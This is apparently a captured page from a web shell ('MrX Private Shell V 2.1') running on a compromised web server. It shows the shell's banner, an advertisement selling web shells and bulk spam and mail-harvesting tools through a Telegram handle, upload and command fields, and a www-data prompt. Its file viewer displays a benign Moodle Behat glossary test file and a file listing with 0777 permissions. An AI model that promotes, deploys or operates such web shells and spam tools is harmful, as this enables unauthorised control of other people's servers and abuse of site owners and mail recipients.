__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Steps definitions related with the glossary activity.
 *
 * @package    mod_glossary
 * @category   test
 * @copyright  2013 David Monllaó
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

// NOTE: no MOODLE_INTERNAL test here, this file may be required by behat before including /config.php.

require_once(__DIR__ . '/../../../../lib/behat/behat_base.php');

use Behat\Gherkin\Node\TableNode as TableNode;

/**
 * Glossary-related steps definitions.
 *
 * @package    mod_glossary
 * @category   test
 * @copyright  2013 David Monllaó
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class behat_mod_glossary extends behat_base {

    /**
     * Adds an entry to the current glossary with the provided data. You should be in the glossary page.
     *
     * @Given /^I add a glossary entry with the following data:$/
     * @param TableNode $data
     */
    public function i_add_a_glossary_entry_with_the_following_data(TableNode $data) {
        $this->execute("behat_forms::press_button", get_string('addsingleentry', 'mod_glossary'));

        $this->execute("behat_forms::i_set_the_following_fields_to_these_values", $data);

        $this->execute("behat_forms::press_button", get_string('savechanges'));
    }

    /**
     * Adds a category with the specified name to the current glossary. You need to be in the glossary page.
     *
     * @Given /^I add a glossary entries category named "(?P<category_name_string>(?:[^"]|\\")*)"$/
     * @param string $categoryname Category name
     */
    public function i_add_a_glossary_entries_category_named($categoryname) {
        $params = [
            get_string('categoryview', 'mod_glossary'),
            get_string('explainalphabet', 'glossary')
        ];
        $this->execute("behat_forms::i_select_from_the_singleselect", $params);
        $this->execute("behat_forms::press_button", get_string('editcategories', 'mod_glossary'));

        $this->execute("behat_forms::press_button", get_string('addcategory', 'glossary'));

        $this->execute('behat_forms::i_set_the_field_to', array('name', $this->escape($categoryname)));

        $this->execute("behat_forms::press_button", get_string('savechanges'));
        $this->execute("behat_forms::press_button", get_string('back', 'mod_glossary'));
    }
}

Filemanager

Name Type Size Permission Actions
behat_mod_glossary.php File 2.96 KB 0777
categories.feature File 6 KB 0777
create_entry.feature File 2.22 KB 0777
edit_tags.feature File 5.69 KB 0777
entries_always_editable.feature File 1.62 KB 0777
entries_require_approval.feature File 3.63 KB 0777
glossary_activity_completion.feature File 4.61 KB 0777
glossary_activity_completion_pass_grade.feature File 6.3 KB 0777
glossary_display_formats.feature File 4.42 KB 0777
import_entries.feature File 2.1 KB 0777
prevent_duplicate_entries.feature File 1.5 KB 0777
print_friendly_version.feature File 2.11 KB 0777
search_entries.feature File 3.32 KB 0777
Filemanager